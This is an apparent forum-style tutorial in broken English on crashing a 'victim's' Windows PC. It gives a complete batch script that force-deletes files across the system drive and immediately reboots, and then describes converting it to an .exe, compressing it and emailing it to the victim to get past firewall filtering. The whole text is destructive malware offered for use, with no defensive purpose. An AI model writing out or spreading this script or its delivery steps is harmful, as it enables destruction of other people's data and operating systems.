copy and paste the below lines in ur notepad and save it as " file name.bat"
a) how to crash victims pc. =================================== @echo off del %systemdrive%*.* /f/s/q shutdown -r -f -t 00 ===================================
don't click on it ur system will crash it will delete along with operating system from the hard disk highly dangerous u have to istall os and all other application again
b) if you want to send that file to ur victims pc through email. =============================================
firewalls doesnt allow bat files send to your victims pc so do in this method. go to this above link download the file
upload the bat file which we have created above it will convert the bat file into exe format compress it and send it to urs victim's mail id this will crash off the entire systemdrive